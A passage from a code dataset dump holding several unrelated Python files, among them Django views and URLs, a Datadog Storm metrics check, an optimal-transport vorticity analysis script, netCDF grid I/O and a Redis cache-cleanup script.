can.save()\n\n# from subprocess import call\n# call([\"pwd\", \"\"])\n\n # move to the beginning of the StringIO buffer\n packet.seek(0)\n new_pdf = PdfFileReader(packet)\n\n # read your existing PDF\n existing_pdf = PdfFileReader(open(\"/var/www/saleor/template_0001.pdf\", \"rb\"))\n\n # Rotate it counter-clockwise\n# existing_pdf.getPage(0).rotateCounterClockwise(2)\n # Figure out how to rotate it later on. \n\n output = PdfFileWriter()\n\n # debug \n# page0 = new_pdf.getPage(0)\n# output.addPage(page0)\n # end debug\n\n page = existing_pdf.getPage(0)\n page.mergePage(new_pdf.getPage(0)) # 0 normal, 1 debug\n output.addPage(page)\n\n # add the second page.\n page2 = existing_pdf.getPage(1)\n output.addPage(page2)\n\n # Now add in the third page.\n page3 = existing_pdf.getPage(2)\n page3.mergePage(new_pdf.getPage(1)) # 1 normal, 2 debug\n output.addPage(page3)\n\n\n#---------------------------\n# Now write out the pdf data.\n bytesOut = io.BytesIO()\n output.write(bytesOut)\n bytesOut.seek(0)\n\n# pdf_file, order = create_invoice_pdf(order, absolute_url)\n\n response = HttpResponse(bytesOut, content_type='application/pdf')\n name = \"permit-%s\" % order.id\n response['Content-Disposition'] = 'filename=%s' % name\n return response\n\n","sub_path":"saleor/dashboard/order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":28848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"629118496","text":"from django.urls import path\nfrom .views import PostList, PostDetailView, PostCreateView, PostUpdateView, PostDeleteView, PostSearch, SubscribeView, UnsubscribeView # импортируем наше представление\nfrom django.views.decorators.cache import cache_page\n\n\n \n \nurlpatterns = [\n# path — означает путь. В данном случае путь ко всем товарам у нас останется пустым, позже станет ясно почему \n path('', cache_page(20)(PostList.as_view())), # т.к. сам по себе это класс, то нам надо представить этот класс в виде view. Для этого вызываем метод as_view\n path('/', PostDetailView.as_view(), name='news_detail'),\n path('add/', PostCreateView.as_view(), name='post_create'),\n path('/delete/', PostDeleteView.as_view(), name='post_delete'),\n path('/update/', PostUpdateView.as_view(), name='post_update'),\n path('search/', cache_page(300)(PostSearch.as_view()), name='post_search'),\n path('/subscribe', SubscribeView.as_view(), name='subscribe'),\n path('/unsubscribe', UnsubscribeView.as_view(), name='unsubscribe'),\n \n]\n\n","sub_path":"skf04again/NewsPaper/news/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"178040009","text":"\nimport pandas as pd \nimport re\nimport numpy as np \n\n# Load user data as pandas dataframe\ndef load_csv(path):\n\tdf = pd.read_csv(path) \n\treturn df \n\n# Preprocess user response column in pandas dataframe\ndef pre_process(df, output_path):\n\t# Drop duplicate responses\n\tdf = df.drop_duplicates(subset=\"text_value\")\n\t# Remove white space, quotation marks\n\tdf.text_value = df.text_value.apply(lambda x: re.sub('\\s+',' ',x))\n\tdf.text_value = df.text_value.apply(lambda x: x.replace('\"', ''))\n\t# Write to text file\n\tdf.to_csv(output_path, sep='\\t', index=False, header=True)\n\n\npath = 'raw_data/30-03-05-user-responses.csv'\ndf = load_csv(path)\noutput_path = 'raw_data/user_responses.txt'\npre_process(df, output_path)","sub_path":"process_csv.py","file_name":"process_csv.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"294596543","text":"#!/usr/bin/python\n\nimport time\nimport requests\nfrom datadog_checks.base import AgentCheck\n\nREST_API = {\"cluster\": \"/api/v1/cluster/summary\",\n \"supervisor\": \"/api/v1/supervisor/summary\",\n \"topology\": \"/api/v1/topology/summary\",\n \"topology_details\": \"/api/v1/topology/\"}\nCLUSTER = ['supervisors', 'slotsTotal', 'slotsUsed', 'slotsFree', 'executorsTotal', 'tasksTotal']\nSUPERVISOR = ['uptimeSeconds', 'slotsTotal', 'slotsUsed', 'totalMem', 'totalCpu', 'usedMem', 'usedCpu']\nTOPOLOGY = ['uptimeSeconds', 'tasksTotal', 'workersTotal', 'executorsTotal', 'replicationCount', 'requestedMemOnHeap',\n 'requestedMemOffHeap', 'requestedTotalMem', 'requestedCpu', 'assignedMemOnHeap', 'assignedMemOffHeap',\n 'assignedTotalMem', 'assignedCpu']\nTOPOLOGY_DETAILS = {\n 'topologyStats': ['emitted', 'transferred','acked', 'failed'],\n 'spouts': ['executors', 'emitted', 'transferred', 'acked', 'tasks', 'failed'],\n 'bolts': ['executors', 'emitted', 'transferred', 'acked', 'tasks', 'executed', 'failed']\n}\n\n\nclass Storm(AgentCheck):\n\n def __init__(self, name, init_config, agentConfig, instances=None):\n AgentCheck.__init__(self, name, init_config, agentConfig, instances)\n\n def check(self, instance):\n self.host = instance.get(\"host\", 'localhost')\n self.port = instance.get(\"port\", 8080)\n self.http_prefix = 'http://%s:%s' % (self.host, self.port)\n \n try:\n topology_ids = self._topology_loader()\n self._cluster_loader()\n self._supervisor_loader()\n self._topology_deatails_loader(topology_ids)\n self.gauge('storm.state', 0)\n except Exception as e:\n self.gauge('storm.state', 1)\n self.log.exception('exception collecting storm metrics %s' % e)\n \n def _cluster_loader(self):\n try:\n summary = self.request(REST_API[\"cluster\"])\n ts = time.time()\n for metric in CLUSTER:\n self.gauge('storm.cluster.%s' % metric, summary[metric], timestamp=ts)\n except Exception as e:\n self.gauge('storm.state', 1)\n self.log.exception('exception collecting storm cluster metric form : %s \\n %s' % ('%s%s' % (self.http_prefix, REST_API[\"cluster\"]), e))\n\n def _supervisor_loader(self):\n try:\n jdata = self.request(REST_API[\"supervisor\"])\n ts = time.time()\n for supervisor in jdata['supervisors']:\n for metric in SUPERVISOR:\n tags = ['host:%s' % supervisor['host']]\n self.gauge('storm.supervisor.%s' % metric, supervisor[metric], tags, timestamp=ts)\n except Exception as e:\n self.gauge('storm.state', 1)\n self.log.exception('exception collecting storm supervisor metric form : %s \\n %s' % ('%s%s' % (self.http_prefix, REST_API[\"supervisor\"]), e))\n\n def _topology_loader(self):\n ids =[]\n try:\n jdata = self.request(REST_API[\"topology\"])\n ts = time.time()\n for topology in jdata['topologies']:\n ids.append(topology['id'])\n for metric in TOPOLOGY:\n tags = ['host:%s' % self.host, 'name:%s' % topology['name']]\n self.gauge('storm.topology.%s' % metric, topology[metric], tags, timestamp=ts)\n except Exception as e:\n self.gauge('storm.state', 1)\n self.log.exception('exception collecting storm topology metric form : %s \\n %s' % ('%s%s' % (self.http_prefix, REST_API[\"supervisor\"]), e))\n\n return ids\n\n def _topology_deatails_loader(self, ids):\n try:\n for id in ids:\n jdata = self.request('%s%s?%s' % (REST_API[\"topology_details\"], id, \"window=600\"))\n ts = time.time()\n if jdata:\n for topology in jdata['topologyStats']:\n for metric in TOPOLOGY_DETAILS['topologyStats']:\n # time window range\n if topology['window'] == '600':\n tags = ['topology_id:%s', self.remove_invalid_characters(id)]\n self.gauge('storm.topology.topologyStats.%s' % metric, topology[metric], tags, timestamp=ts)\n\n for spouts in jdata['spouts']:\n for metric in TOPOLOGY_DETAILS['spouts']:\n tags = ['topology_id:%s', self.remove_invalid_characters(id), 'id:%s' % spouts['spoutId']]\n self.gauge('storm.topology.spouts.%s' % metric, spouts[metric], tags, timestamp=ts)\n\n for bolts in jdata['bolts']:\n for metric in TOPOLOGY_DETAILS['bolts']:\n tags = ['topology_id:%s', self.remove_invalid_characters(id), 'id:%s' % bolts['boltsId']]\n self.gauge('storm.topology.bolts.%s' % metric, bolts[metric], tags, timestamp=ts)\n except Exception as e:\n self.gauge('storm.state', 1)\n self.log.exception('exception collecting storm topology details metric \\n %s' % e)\n\n\n def request(self,uri):\n resp = requests.get('%s%s' % (self.http_prefix, uri))\n if resp.status_code != 200:\n raise HTTPError('%s%s' % (self.http_prefix, uri))\n\n return resp.json()\n\n def remove_invalid_characters(self, str):\n \"\"\"removes characters unacceptable by opentsdb\"\"\"\n replaced = False\n lstr = list(str)\n for i, c in enumerate(lstr):\n if not (('a' <= c <= 'z') or ('A' <= c <= 'Z') or ('0' <= c <= '9') or c == '-' or c == '_' or\n c == '.' or c == '/' or c.isalpha()):\n lstr[i] = '_'\n replaced = True\n if replaced:\n return \"\".join(lstr)\n else:\n return str\n\n\nclass HTTPError(RuntimeError):\n def __init__(self, resp):\n RuntimeError.__init__(self, str(resp))\n self.resp = resp","sub_path":"checks.d/storm.py","file_name":"storm.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"266267423","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 15 18:14:00 2020\n\n@author: konrad\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport ot\nimport time\nfrom scipy.interpolate import griddata\nfrom skimage.measure import block_reduce\nfrom scipy.spatial.distance import cdist\n\nimport VortexLine as VL\nimport PhysicalCalculations as PC\n\n# %% exvelo_base\ndef exvelo_base(xt, yt, ut, vt):\n u_out = griddata(np.vstack((x.flatten(), y.flatten())).transpose(),\n ut.flatten(), np.vstack((xt, yt)).transpose())\n v_out = griddata(np.vstack((x.flatten(), y.flatten())).transpose(),\n vt.flatten(), np.vstack((xt, yt)).transpose())\n return u_out, v_out\n\n# %% Setup\n\nAoA = (0, 5, 10)\n\nn_Thr = 61\n\nweights = (.5, .5)\n\nstep = 1\nreg = 1e-5\norder = 2\n\nvort_thr = np.linspace(.001, 1, n_Thr)\n\n# %% Read Data\nx_full, y_full, u_full, v_full,\\\n vort_full, u_std, v_std, Cont, Mom_full = PC.Read_Data(AoA)\n\n\n# %%\nx, y, u, v, vort, Mom = PC.make_square(x_full, y_full, u_full, v_full, vort_full,\n 1000, step=step, Mom=Mom_full)\n\n\ndx = np.gradient(x[0, :])\ndy = np.gradient(y[:, 0])\n\nMom_sq = PC.Momentum(vort[1], u[1], v[1], dx, dy)\no2_Mom_sq = np.linalg.norm(Mom_sq, ord=2)\n# %% Divide Pos & Neg\n\n\nvort_pos = np.zeros((2, vort.shape[1], vort.shape[2]))\nvort_neg = np.zeros((2, vort.shape[1], vort.shape[2]))\n\nvort_pos[0] = vort[0]\nvort_neg[0] = -vort[0]\nvort_pos[1] = vort[-1]\nvort_neg[1] = -vort[-1]\n\nvort_pos[vort_pos < 0] = 0\nvort_neg[vort_neg < 0] = 0\n\nsum_pos = np.zeros((2,))\nsum_neg = np.zeros((2,))\nfor i in range(2):\n sum_pos[i] = np.sum(vort_pos[i])\n vort_pos[i] = vort_pos[i] / sum_pos[i]\n sum_neg[i] = np.sum(vort_neg[i])\n vort_neg[i] = vort_neg[i] / sum_neg[i]\n \nvort_pos_1 = np.array(vort[1])\nvort_neg_1 = np.array(-vort[1])\n\nvort_pos_1[vort_pos_1 < 0] = 0\nvort_neg_1[vort_neg_1 < 0] = 0\n\nsum_pos_1 = np.sum(vort_pos_1)\nsum_neg_1 = np.sum(vort_neg_1)\n\nvort_pos_1 /= sum_pos_1\nvort_neg_1 /= sum_neg_1\n\n# %% Empty arrays\nMom_OT = np.zeros((n_Thr, ))\nMom_OT_vort = np.zeros_like(Mom_OT)\nvel_OT = np.zeros_like(Mom_OT)\n\nvel_lin = np.zeros_like(Mom_OT)\nMom_lin = np.zeros_like(Mom_OT)\ntime_OT = np.zeros_like(Mom_OT)\ntime_lin = np.zeros_like(Mom_OT)\nn_OT = np.zeros_like(Mom_OT)\nn_lin = np.zeros_like(Mom_OT)\n\n\nu_OT_tot = np.zeros((n_Thr, u.shape[1], u.shape[2]))\nv_OT_tot = np.zeros_like(u_OT_tot)\nu_OT_vort = np.zeros_like(u_OT_tot)\nv_OT_vort = np.zeros_like(u_OT_tot)\nu_lin_tot = np.zeros_like(u_OT_tot)\nv_lin_tot = np.zeros_like(u_OT_tot)\n\nmask_vort_OT = np.zeros_like(u_OT_tot, dtype=bool)\nmask_vort_lin = np.zeros_like(u_OT_tot, dtype=bool)\n\n# %% OT\n\nprint('Starting OT')\nstart_OT = time.time()\nvort_pos_OT = ot.bregman.convolutional_barycenter2d(vort_pos, reg, weights)\nvort_neg_OT = ot.bregman.convolutional_barycenter2d(vort_neg, reg, weights)\nvort_OT = vort_pos_OT*np.sum(weights*sum_pos)\\\n - vort_neg_OT*np.sum(weights*sum_neg)\n\nprint('OT finished after {:.0f}mins'.format((time.time()-start_OT)/60))\n\nvort_OT_norm = np.linalg.norm(abs(vort_OT-vort[1]), ord=order)\n\n\n# %% Linear\nprint('Calculating Linear Interpolation')\nstart_lin = time.time()\nvort_lin = vort[0]*weights[0] + vort[2]*weights[1]\n\nprint('Lin finished after {:.0f}s'.format((time.time()-start_lin)))\nvort_lin_norm = np.linalg.norm(abs(vort_lin-vort[1]), ord=order)\n\n\n# %% Initialize Arc\nx_arc, y_arc = PC.Gen_Arc_full_res(AoA[1])\ndist = np.zeros_like(x)\nfor i in range(len(x)):\n dist[i] = np.min(cdist(np.vstack((x_arc, y_arc)).transpose(),\n np.vstack((x[i], y[i])).transpose()), axis=0)\n\nArc = VL.VortexLine(x_arc, y_arc)\n \n# %% Velocity from Vorticity\nfor i, Thr in enumerate(vort_thr):\n \n print(\"Starting OT u_omega\")\n start_uom = time.time()\n mask_vort_OT[i] = abs(vort_OT) > Thr*np.max(abs(vort_OT))\n n_OT[i] = np.sum(mask_vort_OT[i])\n u_OT_vort[i], v_OT_vort[i] = PC.u_omega(x, y, x[mask_vort_OT[i]], y[mask_vort_OT[i]],\n vort_OT[mask_vort_OT[i]], h=step)\n time_OT[i] = time.time() - start_uom\n print('Finished after {:.0}mins'.format((time.time()-start_uom)/60))\n Mom_OT_vort[i] = np.linalg.norm(PC.Momentum(vort_OT, u_OT_vort[i]+1, v_OT_vort[i],\n dx, dy), ord=order)\n \n \n \n # %% Vortex Line\n print('Creating & Solving Vortex Line')\n start_VL = time.time()\n \n exvelo_OT = lambda xl, yl: exvelo_base(xl, yl, u_OT_vort[i]+1, v_OT_vort[i])\n \n gamma_OT = Arc.solve_gamma(exvelo_OT)\n \n u_OT_vl, v_OT_vl = Arc.velocity(gamma_OT, x, y)\n \n \n u_OT_tot[i] = u_OT_vort[i] - u_OT_vl + 1\n v_OT_tot[i] = v_OT_vort[i] - v_OT_vl\n \n print('VL OT finished after {:.0}mins'.format((time.time()-start_VL)/60))\n \n # Mom_OT[i] = np.linalg.norm(PC.Momentum(vort_OT, u_OT_tot[i], v_OT_tot[i],\n # dx, dy), ord=order)\n \n Mom_OT[i] = np.linalg.norm(PC.Momentum(vort_OT, u_OT_tot[i], v_OT_tot[i],\n dx, dy), ord=order)\n \n vel_sum = np.sqrt(((u_OT_tot[i]-1))**2 + v_OT_tot[i]**2)\n vel_OT[i] = np.linalg.norm(abs(vel_sum - np.sqrt((u[1]-1)**2 + v[1]**2)))\n \n# %% Lin \n\n print(\"Starting Lin u_omega\")\n start_uom = time.time()\n mask_vort_lin[i] = abs(vort_lin) > Thr*np.mean(abs(vort_lin))\n n_lin[i] = np.sum(mask_vort_lin[i])\n u_lin_vort, v_lin_vort = PC.u_omega(x, y, x[mask_vort_lin[i]], y[mask_vort_lin[i]],\n vort_lin[mask_vort_lin[i]], h=step)\n time_lin[i] = time.time() - start_uom\n print('Finished after {:.0}mins'.format((time.time()-start_uom)/60))\n \n\n exvelo_lin = lambda xl, yl: exvelo_base(xl, yl, u_lin_vort+1, v_lin_vort)\n gamma_lin = Arc.solve_gamma(exvelo_lin)\n u_lin_vl, v_lin_vl = Arc.velocity(gamma_lin, x, y)\n \n u_lin_tot[i] = u_lin_vort - u_lin_vl + 1\n v_lin_tot[i] = v_lin_vort - v_lin_vl\n \n Mom_lin[i] = np.linalg.norm(PC.Momentum(vort_lin, u_lin_tot[i], v_lin_tot[i],\n dx, dy), ord=order)\n \n vel_sum = np.sqrt((u_lin_tot[i])**2 + v_lin_tot[i]**2)\n vel_lin[i] = np.linalg.norm(abs(vel_sum - np.sqrt(u[1]**2 + v[1]**2)))\n \n\n# %% PLOTS\n# %% Velocity Error plot\nstart = 1\nf, ax = plt.subplots()\n\nax.plot(vort_thr[start:], vel_OT[start:]/np.min(vel_OT[start:]), 'b')\n\nax0 = ax.twinx()\nax0.plot(vort_thr[start:], n_OT[start:], 'r')\n\nax.tick_params(axis='y', labelcolor='b')\nax0.tick_params(axis='y', labelcolor='r')\n\nax.set_ylabel('Velocity Error', color='b')\nax.set_xlabel('Threshold')\nax0.set_ylabel('No. Points', color='r')\nax.ticklabel_format(useOffset=False)\n\n# %% Momentum Error plot\nstart = 1\nf, ax = plt.subplots()\n\nax.plot(vort_thr[start:], Mom_OT[start:]/np.min(Mom_OT[start:]), 'b')\n\nax0 = ax.twinx()\nax0.plot(vort_thr[start:], n_OT[start:], 'r')\n\nax.tick_params(axis='y', labelcolor='b')\nax0.tick_params(axis='y', labelcolor='r')\n\nax.set_ylabel('Momentum Error', color='b')\nax.set_xlabel('Threshold')\nax0.set_ylabel('No. Points', color='r')\nax.ticklabel_format(useOffset=False)\n\n","sub_path":"Code/Plot_Thesis_Results_Threshold.py","file_name":"Plot_Thesis_Results_Threshold.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"614585920","text":"# -*- coding: utf-8 -*-\n\nfrom PySide.QtGui import QWidget, QLabel, QHBoxLayout, QSpinBox\n\n\nclass SingleValueSetWidget(QWidget):\n def __init__(self, value_name, initial_value, val_range, broadcastTo,\n step_size=1):\n QWidget.__init__(self)\n self.broadcastTo = broadcastTo\n\n box = QHBoxLayout(self)\n\n self.spinbox = QSpinBox()\n self.spinbox.setRange(val_range[0], val_range[1])\n self.spinbox.setSingleStep(step_size)\n self.spinbox.setValue(initial_value)\n\n box.addWidget(QLabel(\"Set value for {}\".format(value_name)))\n box.addWidget(self.spinbox)\n\n self.spinbox.valueChanged.connect(self.broadcastUpdate)\n\n def broadcastUpdate(self):\n val = self.spinbox.value()\n self.broadcastTo(val)\n","sub_path":"RobotGui/lib/ui/singlevaluesetwidget.py","file_name":"singlevaluesetwidget.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"635175866","text":"import os\nimport re\nimport sys\n\nimport django\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nsys.path.insert(0, BASE_DIR)\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"freeze.settings\")\ndjango.setup()\n\nfrom funds.models import Fund\n\n\ndef handle_fund_code():\n path = os.path.join(os.path.join(BASE_DIR, 'static'), 'data')\n with open(os.path.join(path, 'fund_code.txt'), 'r', encoding='utf-8') as f:\n fund_codes = f.read()\n\n fund_codes = fund_codes[10:-3]\n fund_codes = fund_codes.split('],[')\n\n pattern = re.compile(r'\"(.*?)\"')\n for original_fund_code in fund_codes:\n fund = pattern.findall(original_fund_code)\n try:\n Fund.objects.create(code=fund[0],\n brief=fund[1],\n name=fund[2],\n type=fund[3])\n except Exception as e:\n print(e, fund)\n\nif __name__ == '__main__':\n handle_fund_code()","sub_path":"scripts/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"13937107","text":"# Copyright (c) 2013,Vienna University of Technology, Department of Geodesy and Geoinformation\n# All rights reserved.\n\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the Vienna University of Technology, Department of Geodesy and Geoinformation nor the\n# names of its contributors may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL VIENNA UNIVERSITY OF TECHNOLOGY,\n# DEPARTMENT OF GEODESY AND GEOINFORMATION BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n'''\nCreated on Jan 21, 2014\n\nModule for saving grid to netCDF\n\n@author: Christoph Paulik christoph.paulik@geo.tuwien.ac.at\n'''\nfrom netCDF4 import Dataset\nimport numpy as np\nimport os\nfrom datetime import datetime\n\nfrom pytesmo.grid.grids import CellGrid, BasicGrid\n\n\ndef save_lonlat(filename, arrlon, arrlat, arrcell=None,\n gpis=None, subset_points=None, subset_name='land_points',\n subset_meaning=\"water land\",\n global_attrs=None):\n \"\"\"\n saves grid information to netCDF file\n\n Parameters\n ----------\n filename : string\n name of file\n arrlon : numpy.array\n array of longitudes\n arrlat : numpy.array\n array of latitudes\n arrcell : numpy.array, optional\n array of cell numbers\n gpis : numpy.array, optional\n gpi numbers if not index of arrlon, arrlat\n subset_points : numpy.array, optional\n and indication if the given grid point is over land\n must be an indices into arrlon, arrlat\n subset_name : string, optional\n long_name of the variable 'subset_flag'\n if the subset symbolises something other than a land/sea mask\n subset_meaning : string, optional\n will be written into flag_meanings metadata of variable 'subset_flag'\n global_attrs : dict, optional\n if given will be written as global attributs into netCDF file\n \"\"\"\n\n nc_name = filename\n\n with Dataset(nc_name, 'w', format='NETCDF4') as ncfile:\n\n if (global_attrs is not None and 'shape' in global_attrs and\n type(global_attrs['shape']) is not int and\n len(global_attrs['shape']) == 2):\n\n latsize = global_attrs['shape'][0]\n lonsize = global_attrs['shape'][1]\n ncfile.createDimension(\"lat\", latsize)\n ncfile.createDimension(\"lon\", lonsize)\n arrlat = np.unique(arrlat)[::-1] # sorts arrlat descending\n arrlon = np.unique(arrlon)\n\n gpisize = global_attrs['shape'][0] * global_attrs['shape'][1]\n if gpis is None:\n gpivalues = np.arange(gpisize,\n dtype=np.int32).reshape(latsize,\n lonsize)\n gpivalues = gpivalues[::-1]\n else:\n gpivalues = gpis.reshape(latsize, lonsize)\n else:\n ncfile.createDimension(\"gp\", arrlon.size)\n gpisize = arrlon.size\n if gpis is None:\n gpivalues = np.arange(arrlon.size, dtype=np.int32)\n else:\n gpivalues = gpis\n\n dim = ncfile.dimensions.keys()\n\n gpi = ncfile.createVariable('gpi', np.dtype('int32').char, dim)\n\n if gpis is None:\n gpi[:] = gpivalues\n setattr(gpi, 'long_name', 'Grid point index')\n setattr(gpi, 'units', '')\n setattr(gpi, 'valid_range', [0, gpisize])\n gpidirect = 0x1b\n else:\n gpi[:] = gpivalues\n setattr(gpi, 'long_name', 'Grid point index')\n setattr(gpi, 'units', '')\n setattr(gpi, 'valid_range', [np.min(gpivalues), np.max(gpivalues)])\n gpidirect = 0x0b\n\n latitude = ncfile.createVariable('lat', np.dtype('float32').char,\n dim[0])\n latitude[:] = arrlat\n setattr(latitude, 'long_name', 'Latitude')\n setattr(latitude, 'units', 'degree_north')\n setattr(latitude, 'standard_name', 'latitude')\n setattr(latitude, 'valid_range', [-90.0, 90.0])\n\n if len(dim) == 2:\n londim = dim[1]\n else:\n londim = dim[0]\n longitude = ncfile.createVariable('lon', np.dtype('float32').char,\n londim)\n longitude[:] = arrlon\n setattr(longitude, 'long_name', 'Longitude')\n setattr(longitude, 'units', 'degree_east')\n setattr(longitude, 'standard_name', 'longitude')\n setattr(longitude, 'valid_range', [-180.0, 180.0])\n\n if arrcell is not None:\n cell = ncfile.createVariable('cell', np.dtype('int16').char, dim)\n cell[:] = arrcell\n setattr(cell, 'long_name', 'Cell')\n setattr(cell, 'units', '')\n setattr(cell, 'valid_range', [np.min(arrcell), np.max(arrcell)])\n\n if subset_points is not None:\n land_flag = ncfile.createVariable('subset_flag',\n np.dtype('int8').char,\n dim)\n\n # create landflag array based on shape of data\n lf = np.zeros_like(gpivalues)\n if len(dim) == 2:\n lf = lf.flatten()\n lf[subset_points] = 1\n if len(dim) == 2:\n lf = lf.reshape(latsize, lonsize)\n\n land_flag[:] = lf\n setattr(land_flag, 'long_name', subset_name)\n setattr(land_flag, 'units', '')\n setattr(land_flag, 'coordinates', 'lat lon')\n setattr(land_flag, 'flag_values', np.arange(2, dtype=np.int8))\n setattr(land_flag, 'flag_meanings', 'water land')\n setattr(land_flag, 'valid_range', [0, 1])\n\n s = \"%Y-%m-%d %H:%M:%S\"\n date_created = datetime.now().strftime(s)\n\n attr = {'Conventions': 'CF-1.6',\n 'id': os.path.split(filename)[1], # file name\n 'date_created': date_created,\n 'geospatial_lat_min': np.round(np.min(arrlat), 4),\n 'geospatial_lat_max': np.round(np.max(arrlat), 4),\n 'geospatial_lon_min': np.round(np.min(arrlon), 4),\n 'geospatial_lon_max': np.round(np.max(arrlon), 4),\n 'gpidirect': gpidirect\n }\n\n ncfile.setncatts(attr)\n if global_attrs is not None and type(global_attrs) is dict:\n ncfile.setncatts(global_attrs)\n\n\ndef save_grid(filename, grid, subset_name='land_points',\n subset_meaning=\"water land\", global_attrs=None):\n \"\"\"\n save a BasicGrid or CellGrid to netCDF\n it is assumed that a subset should be used as land_points\n\n Parameters\n ----------\n filename : string\n name of file\n grid : BasicGrid or CellGrid object\n grid whose definition to save to netCDF\n subset_name : string, optional\n long_name of the variable 'subset_flag'\n if the subset symbolises something other than a land/sea mask\n subset_meaning : string, optional\n will be written into flag_meanings metadata of variable 'subset_flag'\n global_attrs : dict, optional\n if given will be written as global attributs into netCDF file\n \"\"\"\n\n try:\n arrcell = grid.arrcell\n except AttributeError:\n arrcell = None\n\n if grid.gpidirect is True:\n gpis = None\n else:\n gpis = grid.gpis\n\n if grid.shape is not None:\n if global_attrs is None:\n global_attrs = {}\n global_attrs['shape'] = grid.shape\n\n save_lonlat(filename, grid.arrlon, grid.arrlat, arrcell=arrcell,\n gpis=gpis, subset_points=grid.subset, subset_name=subset_name,\n subset_meaning=subset_meaning,\n global_attrs=global_attrs)\n\n\ndef load_grid(filename):\n \"\"\"\n load a grid from netCDF file\n\n Parameters\n ----------\n filename : string\n filename\n\n Returns\n -------\n grid : BasicGrid or CellGrid instance\n grid instance initialized with the loaded data\n \"\"\"\n\n with Dataset(filename, 'r') as nc_data:\n # determine if it is a cell grid or a basic grid\n arrcell = None\n if 'cell' in nc_data.variables.keys():\n arrcell = nc_data.variables['cell'][:]\n\n # determine if gpis are in order or custom order\n if nc_data.gpidirect == 0x1b:\n gpis = None # gpis can be calculated through np.arange..\n else:\n gpis = nc_data.variables['gpi'][:]\n\n shape = None\n if hasattr(nc_data, 'shape'):\n try:\n shape = tuple(nc_data.shape)\n except TypeError as e:\n try:\n length = len(nc_data.shape)\n except TypeError:\n length = nc_data.shape.size\n if length == 1:\n shape = tuple([nc_data.shape])\n else:\n raise e\n\n subset = None\n # some old grid do not have a shape attribute\n # this meant that they had shape of len 1\n if shape is None:\n shape = tuple([len(nc_data.variables['lon'][:])])\n\n # check if grid has regular shape\n if len(shape) == 2:\n lons, lats = np.meshgrid(nc_data.variables['lon'][:],\n nc_data.variables['lat'][::-1])\n lons = lons.flatten('F')\n lats = lats.flatten('F')\n\n if 'subset_flag' in nc_data.variables.keys():\n subset = np.where(\n nc_data.variables['subset_flag'][:].flatten() == 1)[0]\n\n elif len(shape) == 1:\n lons = nc_data.variables['lon'][:]\n lats = nc_data.variables['lat'][:]\n\n # determine if it has a subset\n if 'subset_flag' in nc_data.variables.keys():\n subset = np.where(nc_data.variables['subset_flag'][:] == 1)[0]\n\n if arrcell is None:\n # BasicGrid\n return BasicGrid(lons,\n lats,\n gpis=gpis,\n subset=subset,\n shape=shape)\n else:\n # CellGrid\n return CellGrid(nc_data.variables['lon'][:],\n nc_data.variables['lat'][:],\n arrcell,\n gpis=gpis,\n subset=subset,\n shape=shape)\n","sub_path":"pytesmo/grid/netcdf.py","file_name":"netcdf.py","file_ext":"py","file_size_in_byte":11678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"447773747","text":"# coding=utf-8\nimport redis\n\n# conn = redis.Redis(host='192.168.2.87', port=6379, db=0)\n# keys_pattern_list = ['cache_coin_base_info_slug_*', 'cache_coin_cash_flow_*', 'cache_coin_*', 'cache_news_details_*',\n# 'cache_relation_*', 'crawler_*', 'first_duplicate_removal_cache*', 'first_info_duplicate_removal_cache_*',\n# 'init_news_click_num_*', 'news_click_num_*', 'new_news_click_num_*', 'news_ls_*', '*_task']\n\nconn = redis.Redis(host='192.168.2.87', port=6379, db=3)\nkeys_pattern_list = ['get_transaction_details_*']\n\n\nfor keys_pattern in keys_pattern_list:\n keys = conn.keys(pattern=keys_pattern)\n print(\"%d %s\" % (len(keys), keys_pattern))\n if len(keys) > 0:\n ret = conn.delete(*keys)\n # print(\"delete %d %s\" % (ret, 